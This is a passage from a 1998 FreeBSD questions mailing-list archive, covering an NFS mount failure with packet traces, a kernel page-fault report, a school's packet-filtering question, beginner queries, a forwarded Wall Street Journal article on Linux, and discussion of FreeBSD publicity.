half in jest, but little PR stunts like this, done >in the proper humor, are seriously worth doing if you can pull them >off. It'd also be kinda nice if we pulled one off occasionally rather >than just thinking about it afterwards, and for that we need better >advance notification and planning when such opportunities present >themselves. Should any of you spot such an opportunity and need some >help in making it happen, let us know! > > Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 10:41:58 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA17485 for freebsd-questions-outgoing; Fri, 10 Apr 1998 10:41:58 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from bbs.elbbs.com (bbs.elbbs.com [209.69.21.1]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id KAA17460 for ; Fri, 10 Apr 1998 10:41:42 -0700 (PDT) (envelope-from spab@hng.clueful.org) X-ROUTED: Fri, 10 Apr 1998 13:40:44 -0500 X-TCP-IDENTITY: Big Mac Received: from acculyte.clueful.org [209.69.21.32] by bbs.elbbs.com with smtp id ANCHBCAJ ; Fri, 10 Apr 1998 13:39:18 -0500 Date: Fri, 10 Apr 1998 13:40:16 -0400 (EDT) From: Ken MacInnis X-Sender: spab@acculyte.clueful.org Reply-To: bigmac@clueful.org To: questions@FreeBSD.ORG Subject: NFS problems - can't mount remote exports-2.2.6S Message-ID: X-Mailer: Pine 3.96 / Linux 2.0.32 (acculyte) X-ReplyIfYouNoticeThis: Please MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG ..forgive me if you've seen this message in a few newsgroups.. Here's the setup. A local Linux machine (acculyte), which has always done NFS perfectly (NFSv2, anyway), has been having problems mounting an NFS export from a FreeBSD 2.2.6-STABLE box (ark). 'showmount -e ark' shows the exports list for acculyte (the Linux machine), not ark, as does 'showmount -e acculyte', which would indicate a problem. rpcinfo -e localhost on both machines show mountd and nfsd as running, though the Linux box only uses v2, whereas the FreeBSD box uses v3 as well (both udp and tcp). Any attempt to mount an NFS export from ark to acculyte results in such an error: [acculyte:/#] mount -t nfs ark:/ /ark/nfs/ mount: ark:/ failed, reason given by server: Permission denied The Linux box can mount it's own exports fine, but (because of NFSv3, I believe), the FreeBSD box can neither mount it's own exports, nor any remote exports. I've traced the mount, and checked out the raw packet data, and this is what I get: write(5, "\200\0\0x4/\17\312\0\0\0\0\0\0\0"..., 124) = 124 oldselect(256, [5], NULL, NULL, {20, 0}) = 1 (in [5], left {20, 0}) read(5, "\200\0\0\0344/\17\312\0\0\0\1\0\0"..., 4000) = 32 write(2, "mount: ark:/ failed, reason give"..., 63mount: ark:/ failed, reason given by server: Permission denied -- [acculyte:~#] tcpdump -r nfs.dump 16:59:54.184427 acculyte.clueful.org.707 > ark.sunrpc: udp 56 16:59:54.184427 ark.sunrpc > acculyte.clueful.org.707: udp 28 16:59:54.184427 acculyte.clueful.org.708 > ark.1023: S 2481640088:2481640088(0) win 512 16:59:54.184427 ark.1023 > acculyte.clueful.org.708: S 688501181:688501181(0) ack 2481640089 win 17520 (DF) 16:59:54.184427 acculyte.clueful.org.708 > ark.1023: . ack 1 win 32120 (DF) 16:59:54.194427 acculyte.clueful.org.708 > ark.1023: P 1:125(124) ack 1 win 32120 (DF) 16:59:54.194427 ark.1023 > acculyte.clueful.org.708: P 1:33(32) ack 125 win 17520 (DF) 16:59:54.194427 acculyte.clueful.org.708 > ark.1023: F 125:125(0) ack 33 win 32120 16:59:54.194427 ark.1023 > acculyte.clueful.org.708: . ack 126 win 17520 (DF) 16:59:54.194427 ark.1023 > acculyte.clueful.org.708: F 33:33(0) ack 126 win 17520 (DF) 16:59:54.194427 acculyte.clueful.org.708 > ark.1023: . ack 34 win 32120 (DF) Thanks for any help. -kcm --+ Ken MacInnis - http://bigmac.nether.net/ --+ bigmac@elbbs.com bigmac@clueful.org bigmac@wasteland.net --+ assimilate and deviate thereof. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 10:44:49 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA18520 for freebsd-questions-outgoing; Fri, 10 Apr 1998 10:44:49 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from lariat.lariat.org (ppp1000.lariat.org@lariat.lariat.org [129.72.251.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA18452 for ; Fri, 10 Apr 1998 10:44:41 -0700 (PDT) (envelope-from brett@lariat.org) Received: (from brett@localhost) by lariat.lariat.org (8.8.8/8.8.8) id LAA00726; Fri, 10 Apr 1998 11:44:34 -0600 (MDT) Message-Id: <199804101744.LAA00726@lariat.lariat.org> X-Sender: brett@mail.lariat.org X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0 Date: Fri, 10 Apr 1998 11:44:31 -0600 To: questions@FreeBSD.ORG From: Brett Glass Subject: Files with nonexistent groups Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Was just browsing the file system of a server that had been upgraded from 2.1.1-RELEASE to 2.2.2-RELEASE, in preparation for upgrading it AGAIN to 2.2.6. As I did so, I noticed that some of the device nodes in /dev belonged to group #86, which didn't have a name or exist in /etc/groups. I also noticed that some files created by the Qualcomm POP daemon belonged to group #6, which also had no name. What are these groups? Do they have standard names? And why do the files and device nodes belong to them? --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 10:51:13 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA19759 for freebsd-questions-outgoing; Fri, 10 Apr 1998 10:51:13 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from voicenet.com (mail11.voicenet.com [207.103.0.37]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id KAA19749 for ; Fri, 10 Apr 1998 10:51:08 -0700 (PDT) (envelope-from schwenk@voicenet.com) Received: (qmail 10311 invoked from network); 10 Apr 1998 17:51:07 -0000 Received: from omni1.voicenet.com (207.103.0.31) by mail11.voicenet.com with SMTP; 10 Apr 1998 17:51:07 -0000 Received: (qmail 17059 invoked by uid 14559); 10 Apr 1998 17:51:05 -0000 Date: Fri, 10 Apr 1998 13:51:04 -0400 (EDT) From: Peter Schwenk X-Sender: schwenk@omni1 To: Cliff Addy cc: hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG There were some good articles on the design of the file system and stuff too. I've got three of the books in the series, and in addition to the man page stuff there were some good articles. On Fri, 10 Apr 1998, Cliff Addy wrote: > On Fri, 10 Apr 1998, Pierre Beyssac wrote: > > > > The closest I could find to a real concern was that their 4.4BSD > > > manual set didn't sell nearly as well as they had expected. > > > > AFAIK, this is basically a printed copy of all the man pages... > > I looked at it once and that was my impression, too. Given the fact that > it's online and the online version is up to date, the manual set seemed to > be of no value. Reminds me of their Apache book, I think it was about > version 1.1, totally outdated and useless (to me, anyway). > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > - Peter Schwenk - schwenk@voicenet.com - - Running FreeBSD? You should be. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 11:10:30 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA24202 for freebsd-questions-outgoing; Fri, 10 Apr 1998 11:10:30 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from smtp2.mailsrvcs.net (smtp2.gte.net [207.115.153.31]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA24191 for ; Fri, 10 Apr 1998 11:10:20 -0700 (PDT) (envelope-from orthoefe@gte.net) Received: from moltar.oshea.lan (1Cust154.tnt3.orl1.da.uu.net [208.250.82.154]) by smtp2.mailsrvcs.net with SMTP id NAA21467; Fri, 10 Apr 1998 13:10:04 -0500 (CDT) Date: Fri, 10 Apr 1998 14:12:16 -0400 (EDT) From: Joe Orthoefer X-Sender: orthoefe@moltar.oshea.lan Reply-To: Joe Orthoefer To: bigmac@clueful.org cc: questions@FreeBSD.ORG Subject: Re: NFS problems - can't mount remote exports-2.2.6S In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Check your host table entries on both machines and your DNS, you may have duplicated an ip address on one of the machines. The one problem I've had in the past with mounting nfs shares with a linux box is that the initial mount request may have to come from privledged ports. Check the mount_nfs man page on yer linux box or the mountd man page on the freebsd box. Also check /var/log/messages on the freebsd box, mountd may be having trouble reading /etc/exports. Kill and restart mountd and see if anything shows up in that log file. On Fri, 10 Apr 1998, Ken MacInnis wrote: > ..forgive me if you've seen this message in a few newsgroups.. > > Here's the setup. A local Linux machine (acculyte), which has > always done NFS perfectly (NFSv2, anyway), has been having problems > mounting an NFS export from a FreeBSD 2.2.6-STABLE box (ark). 'showmount > -e ark' shows the exports list for acculyte (the Linux machine), not ark, > as does 'showmount -e acculyte', which would indicate a problem. rpcinfo > -e localhost on both machines show mountd and nfsd as running, though the > Linux box only uses v2, whereas the FreeBSD box uses v3 as well (both udp > and tcp). Any attempt to mount an NFS export from ark to acculyte results > in such an error: > > [acculyte:/#] mount -t nfs ark:/ /ark/nfs/ > mount: ark:/ failed, reason given by server: Permission denied > > The Linux box can mount it's own exports fine, but (because of > NFSv3, I believe), the FreeBSD box can neither mount it's own exports, nor > any remote exports. > > I've traced the mount, and checked out the raw packet data, and > this is what I get: > > write(5, "\200\0\0x4/\17\312\0\0\0\0\0\0\0"..., 124) = 124 > oldselect(256, [5], NULL, NULL, {20, 0}) = 1 (in [5], left {20, 0}) > read(5, "\200\0\0\0344/\17\312\0\0\0\1\0\0"..., 4000) = 32 > write(2, "mount: ark:/ failed, reason give"..., 63mount: ark:/ failed, > reason given by server: Permission denied > -- > [acculyte:~#] tcpdump -r nfs.dump > 16:59:54.184427 acculyte.clueful.org.707 > ark.sunrpc: udp 56 > 16:59:54.184427 ark.sunrpc > acculyte.clueful.org.707: udp 28 > 16:59:54.184427 acculyte.clueful.org.708 > ark.1023: S > 2481640088:2481640088(0) > win 512 > 16:59:54.184427 ark.1023 > acculyte.clueful.org.708: S > 688501181:688501181(0) ack 2481640089 win 17520 (DF) > 16:59:54.184427 acculyte.clueful.org.708 > ark.1023: . ack 1 win 32120 > (DF) > 16:59:54.194427 acculyte.clueful.org.708 > ark.1023: P 1:125(124) ack 1 > win 32120 (DF) > 16:59:54.194427 ark.1023 > acculyte.clueful.org.708: P 1:33(32) ack 125 > win 17520 (DF) > 16:59:54.194427 acculyte.clueful.org.708 > ark.1023: F 125:125(0) ack 33 > win 32120 > 16:59:54.194427 ark.1023 > acculyte.clueful.org.708: . ack 126 win 17520 > (DF) > 16:59:54.194427 ark.1023 > acculyte.clueful.org.708: F 33:33(0) ack 126 > win 17520 (DF) > 16:59:54.194427 acculyte.clueful.org.708 > ark.1023: . ack 34 win 32120 > (DF) > > Thanks for any help. > > -kcm > > --+ Ken MacInnis - http://bigmac.nether.net/ > --+ bigmac@elbbs.com bigmac@clueful.org bigmac@wasteland.net > --+ assimilate and deviate thereof. > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 11:12:32 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA25044 for freebsd-questions-outgoing; Fri, 10 Apr 1998 11:12:32 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ns.vecom.com (ns.vecom.com.br [200.230.20.5]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA24818 for ; Fri, 10 Apr 1998 11:11:54 -0700 (PDT) (envelope-from luigi@linkoteca.com) Received: from linkoteca.com ([200.230.20.100]) by ns.vecom.com (8.8.8/8.8.8) with ESMTP id PAA02271 for ; Fri, 10 Apr 1998 15:09:45 -0300 (EST) Message-ID: <352E5FB9.FFE53271@linkoteca.com> Date: Fri, 10 Apr 1998 15:06:49 -0300 From: Luiz Lins Organization: Linkoteca X-Mailer: Mozilla 4.04 [en] (X11; I; FreeBSD 2.2.5-RELEASE i386) MIME-Version: 1.0 To: "freebsd-questions@FreeBSD.ORG" Subject: Fatal Trap 12 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Greetings. I have a FreeBSD-2.2.5 RELEASE runnung in a P133 48Mb RAM, HD SCSI 4.1 Gb, adaptec 2940 controller..... Everything was OK, when a few days ago, the machine began to lock and reboot automaitically. When it occurs, I get the following message: FATAL TRAP 12: PAGE FAULT WHILE IN KERNEL MODE. What does it mean? Is a hardware or software error? TIA Luiz Lins To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 11:25:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA29618 for freebsd-questions-outgoing; Fri, 10 Apr 1998 11:25:56 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from rocksalt.mui.net ([207.12.13.235]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA29517 for ; Fri, 10 Apr 1998 11:25:25 -0700 (PDT) (envelope-from ken@mui.net) From: ken@mui.net Received: from lihing.mui.net (lihing.mui.net [207.12.13.237]) by rocksalt.mui.net (8.8.8/8.8.7) with SMTP id IAA08226 for ; Fri, 10 Apr 1998 08:25:22 -1000 (HST) (envelope-from ken@mui.net) Message-Id: <199804101825.IAA08226@rocksalt.mui.net> Comments: Authenticated sender is To: freebsd-questions@FreeBSD.ORG Date: Fri, 10 Apr 1998 08:24:06 +0000 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: (Fwd) flexfax: Linux made the Wall Street Journal - the Articl X-mailer: Pegasus Mail for Win32 (v2.54) Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG People, don't kill me for this one. Just thought it may help to construct a press release for the freebsd side -- perhaps provide ideas. got it from the flexfax mailing list. ken ------- Forwarded Message Follows ------- From: "GCFL Staff" To: nobody@nobody.org Date: Fri, 10 Apr 1998 08:56:56 +0000 Subject: flexfax: Linux made the Wall Street Journal - the Article Linux Plays a Role in 'Titanic,' Photos By NASA, but Can It Take On Microsoft? By SEAN DAVIS Dow Jones Newswires [From The Wall Street Journal, April 3, 1998, page B7B] NEW YORK-The makers of "Titanic" used it to render the hit film's special effects. NASA uses it to stitch together pictures of Earth. It is free to anyone who wants it, but at least two companies are selling it. The question: What is Linux? Linux is an operating system, like Microsoft Corp.'s Windows. But unlike Windows, no one owns Linux, and its source code - the instructions its developers use to create it-is freely available. Proponents of Linux say because of this, the software stands a good chance of taking business away from Windows NT, the enterprise version of Microsoft's market-leading operating system for workstations. One commercial vendor of Linux, closely held Red Hat Software Inc., expects to sell 400,000 copies of the software at $50 each this year. The operating system generally referred to as Linux got its start in 1983. Richard Stallman, then a programmer at the artificial-intelligence lab at Massachusetts Institute of Technology, set out to create a free alternative to Unix, the operating system developed at AT&T Corp.'s Bell Labs. Mr. Stallman dubbed his operating system GNU, which stands for Gnu's Not Unix. (The recursive acronym is a time-honored tradition in software development, says Mr. Stallman, calling it "hacker humor.") With Mr. Stallman and others building GNU piece by piece, it lacked one vital piece by 1991: the kernel, which makes the operating system run. That is when Linux's namesake came along. Linus Torvalds, then a student at the University of Helsinki, wrote the kernel, named it after himself and made it publicly available under the GNU general public license. (Mr. Torvalds now works for software company Transmeta, a Santa Clara, Calif., start-up whose investors include Microsoft co-founder Paul Allen.) The GNU general public license s another Stallman brainchild. Written in 1985 and revised twice, most recently in 1991, it permits anyone to use Linux, or GNU/Linux, as the operating system also is known. Licensees must agree to provide the source code to subsequent users, even when they sell the software, as they are permitted to do. And users also must agree to make any additions and improvements to the operating system available to the public in the form of source code. This means that a community of hackers and software developers, linked by the Internet, is constantly adding to and improving Linux. The operating system as it exists today is a loosely defined accretion of repairs and new features. The general public license made that possible. But free software doesn't mean free of charge, and that is where closely held companies like Red Hat and its rival, Caldera Inc., come in. Red Hat, of Research Triangle Park, N.C., takes the latest version of Linux off the Internet and packages it for sale in CD-ROM format. Red Hat's president and co-founder, Robert Young, says the company's customers are paying for three things: the convenience of a CD, technical support and a reliable version of the operating system. He says Red Hat, named for co-founder Marc Ewing's Cornell University lacrosse cap, has shipped about 600,000 CDs since its inception in January 1995. Caldera, of Orem, Utah, has a slightly different business model. It adds proprietary elements to Linux, including a user-friendly desktop, and sells the package on CD-ROM. Caldera doesn't publish the source code for the proprietary elements, some of which it licenses from other vendors. Standing behind Caldera is Ray Noorda, who retired as chairman of Novell Inc. in 1994. Canopy Group, a venture capital firm Mr. Noorda founded in 1995, is Caldera's sole investor, and Caldera was started by former Novell employees who worked under Mr. Noorda. Indeed, Mr. Noorda's embrace of Linux is an extension of his well-documented challenge to Microsoft. Earlier this decade, while under Mr. Noorda's leadership, Novell went on a costly acquisition spree to compete with the Redmond, Wash., software giant, a strategy it has since abandoned. Whether Linux can challenge Windows is an open question. The operating system has an estimated five million to 10.5 million users, according to Red Hat. By contrast, Microsoft will ship an estimated 95 million copies of Windows in 1998. But Linux has had some notable successes. For example, the special-effects shop Digital Domain Inc. used powerful computers running Red Hat's version of Linux to render many of the stunning images from "Titanic," including the icy waters that swallowed the ship. Another user is the National Aeronautics and Space Administration. When NASA's Goddard Space Flight Center in Maryland built a supercomputer out of off-the-shelf PC components, it chose Linux to run the number-crunching machine, partly because of the operating system's culture. "There really is a culture in the Linux community of contributing components," said Donald Becker, a staff scientist at Goddard. "Working with a culture like that makes everyone's job easier." Collective development and troubleshooting make Linux both a nimble and uncommonly stable operating system, proponents say. The drawback, Mr. Becker said, is that Linux is always changing, requiring users to update frequently. "But the alternative, is a stagnant system," he said, "so it's a necessary evil." The free software model, for a long time anathema to most commercial software makers, is gaining currency. Netscape Communications Corp. recently said it will start giving away its Navigator Web browser, as well as the source code that makes it run. And Apache, the free Web server software developed by far-flung hackers, is estimated to run about 45% of the Web pages world-wide, more than any other server software product. [From The Wall Street Journal, April 3, 1998, page B7B] -=+=- The Good, Clean Funnies List: Good, clean funnies five times a week, for free! To subscribe or unsubscribe send email with "add" or "remove" in the subject line (without the quotes) to "gcfl-request@usa.net". Send submissions and comments to "gcfl@usa.net". Or go to the web page: http://www.angelfire.com/al/GCFL A cheerful heart is good medicine... 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Prov 17:22a (NIV) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 11:40:21 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA04183 for freebsd-questions-outgoing; Fri, 10 Apr 1998 11:40:21 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from send1c.yahoomail.com (send1c.yahoomail.com [205.180.60.38]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id LAA04081 for ; Fri, 10 Apr 1998 11:40:14 -0700 (PDT) (envelope-from warzycha@yahoo.com) Message-ID: <19980410184113.19037.rocketmail@send1c.yahoomail.com> Received: from [138.168.150.30] by send1c; Fri, 10 Apr 1998 11:41:13 PDT Date: Fri, 10 Apr 1998 11:41:13 -0700 (PDT) From: Peter Warzycha Subject: shipping To: freebsd-questions@FreeBSD.ORG MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am currently stationed in Okinawa, Japan with the third marine division. I am interseted in buying a copy of the latest ver. of BSD but i noticed for over seas it is take 6-9 weeks ... i do have an FPO-AP mailing address... i was told that makes a difference for time of shipping and the cost to ship it... please get bacck to me with all the info you can supply to me thanks... LCpl Warzycha == HTTP://users.ids.net/~petewa/main.html Peter E. Warzycha LCPL USMC warzycha@yahoo.com HQBN, 3MARDIV, H/S CO G-2 UNIT 35880 FPO-AP 96602-5880 622-6676 _________________________________________________________ DO YOU YAHOO!? Get your free @yahoo.com address at http://mail.yahoo.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 11:41:29 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA04523 for freebsd-questions-outgoing; Fri, 10 Apr 1998 11:41:29 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from relay4.UU.NET (relay4.UU.NET [192.48.96.14]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA04462 for ; Fri, 10 Apr 1998 11:41:13 -0700 (PDT) (envelope-from bob.webb@snyder.com) Received: from bethhqmail.snyder.com by relay4.UU.NET with ESMTP (peer crosschecked as: hqproxy.snyder.com [208.197.122.6]) id QQeknq23533; Fri, 10 Apr 1998 14:40:41 -0400 (EDT) Received: by BETHHQMAIL with Internet Mail Service (5.5.1960.3) id <2P4V5839>; Fri, 10 Apr 1998 14:51:18 -0400 Message-ID: <3D6B6B730CA4D11187CC00805FEAF49E1DCE15@BETHHQMAIL> From: Bob Webb To: "'freebsd-questions@FreeBSD.ORG'" Subject: NIST Time Utility Date: Fri, 10 Apr 1998 14:51:11 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.1960.3) Content-Type: text/plain Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Does FreeBSD have a utility written for setting the internal clock to NIST time using TCP/UDP over the Internet ? I did a search and came up empty. Any input would be appreciated. Thanks, Bob/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 11:43:47 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA05076 for freebsd-questions-outgoing; Fri, 10 Apr 1998 11:43:47 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.ior.com (qmailr@on-ramp.ior.com [199.79.239.12]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id LAA05053 for ; Fri, 10 Apr 1998 11:43:31 -0700 (PDT) (envelope-from enaillon@nvinet.com) Received: (qmail 7890 invoked from network); 10 Apr 1998 18:43:25 -0000 Received: from cs1-24.nvinet.com (HELO server.ior.com) (206.107.158.243) by on-ramp.ior.com with SMTP; 10 Apr 1998 18:43:25 -0000 Reply-To: "Edward naillon" From: "Edward naillon" To: Subject: Packet Filter for High School Date: Fri, 10 Apr 1998 11:37:23 -0700 Message-ID: <01bd64af$b41a0360$0100a8c0@server.ior.com> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0004_01BD6475.07BB2B60" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.71.1712.3 X-MimeOLE: Produced By Microsoft MimeOLE V4.71.1712.3 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0004_01BD6475.07BB2B60 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello, We have installed a linux proxy/cache server that filters out = innapropriate internet sites from our students. The problem is that we = have no packet level enforcement. Students can go around this server and = straight to the internet. Our State ISP is being stubborn about = modifying our wellfleet router to allow only packets from our proxy = server (and several select workstations) to pass. Can I do this with a = freebsd system? All it needs to do is deny any ip addresses from passing = that are not in an allowed list. Thanks in advance for any ideas. Ed Naillon ------=_NextPart_000_0004_01BD6475.07BB2B60 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hello,
 We have installed a linux = proxy/cache=20 server that filters out innapropriate internet sites from our students. = The=20 problem is that we have no packet level enforcement. Students can go = around this=20 server and straight to the internet. Our State ISP is being stubborn = about=20 modifying our wellfleet router to allow only packets from our proxy = server (and=20 several select workstations) to pass. Can I do this with a freebsd = system? All=20 it needs to do is deny any ip addresses from passing that are not in an = allowed=20 list.
Thanks in advance for any = ideas.
Ed = Naillon
------=_NextPart_000_0004_01BD6475.07BB2B60-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 11:47:54 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA06639 for freebsd-questions-outgoing; Fri, 10 Apr 1998 11:47:54 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from lariat.lariat.org (ppp1000.lariat.org@lariat.lariat.org [129.72.251.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA06609; Fri, 10 Apr 1998 11:47:43 -0700 (PDT) (envelope-from brett@lariat.org) Received: (from brett@localhost) by lariat.lariat.org (8.8.8/8.8.8) id MAA01467; Fri, 10 Apr 1998 12:47:29 -0600 (MDT) Message-Id: <199804101847.MAA01467@lariat.lariat.org> X-Sender: brett@mail.lariat.org X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0 Date: Fri, 10 Apr 1998 12:47:27 -0600 To: "David Shanes" , "Jordan K. Hubbard" From: Brett Glass Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" Cc: , In-Reply-To: <007501bd64a4$85095f40$1d43a8c0@shanes.personalogic.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 10:17 AM 4/10/98 -0700, David Shanes wrote: > 1. Brett - You seem to be the industry trend man. I have realized >this ever since I have been reading your columns and, recently, your e-mail. >Do you get advance notice of events like this, or is it all hind sight? I'm not psychic.... I just subscribe to the right mailing lists and read a lot. I found out about the Linux events via the "Appraising Microsoft" list on Ralph Nader's essential.org site, for example. One of the best ways to find out what's going on in the free software world is to watch the major Linux sites on the Net, as well as the mailing lists and newsgroups. I like the idea of scattering FreeBSD CD-ROMs to libraries hither and yon -- and also of having a little guy in a daemon suit at industry events. I think that regular press releases are essential -- as well as publicity on the major Internet news sites. C|Net has a bunch of good reporters who will recognize what's newsworthy; so do TechWeb, The Red Herring, and Wired. I propose that FreeBSD develop a PR team -- perhaps a group of volunteers coordinated by someone who's paid at least part-time. There should be a budget for hiring writers, for mailing, for FAXing, and for a speaker bureau. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 12:08:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA10152 for freebsd-questions-outgoing; Fri, 10 Apr 1998 12:08:08 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dot.crosswinds.net (dot.crosswinds.net [209.47.139.147]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA10135 for ; Fri, 10 Apr 1998 12:07:58 -0700 (PDT) (envelope-from Genius@glasgow.crosswinds.net) Received: from metallica ([194.74.241.194]) by dot.crosswinds.net (8.8.7/8.8.8) with SMTP id PAA16338 for ; Fri, 10 Apr 1998 15:07:34 -0400 (EDT) (envelope-from Genius@glasgow.crosswinds.net) Message-ID: <002401bd64b3$d7960a60$c2f14ac2@metallica> From: "Ian O'Friel" To: Subject: X-Windows Date: Fri, 10 Apr 1998 20:06:00 +0100 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0020_01BD64BC.152DE340" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0020_01BD64BC.152DE340 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Could Anyone give me the addresses for some UNIX/Linux/FreeBSD FAQ's. I = am looking for some on the following subjects. Basic - Usage X-Windows Setting up a Server Making Ports I am looking for Beginners FAQ's, As I only started using FreeBSD last = Monday. I have FreeBSD 2.2.5 on a Compaq MediaGX 133. When I try to = start X-Windows using the startx command it tells mesomething about a = Mode not being Set and something about ViewPort ?!? Does anyone have any = ideas. Can someone tell me how I can subscribe to this list ?? Thanx, C-Ya l8r Ian ------=_NextPart_000_0020_01BD64BC.152DE340 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Could Anyone give me the = addresses for=20 some UNIX/Linux/FreeBSD FAQ's. I am looking for some on the following=20 subjects.
 
Basic - Usage
X-Windows
Setting up a = Server
Making Ports
 
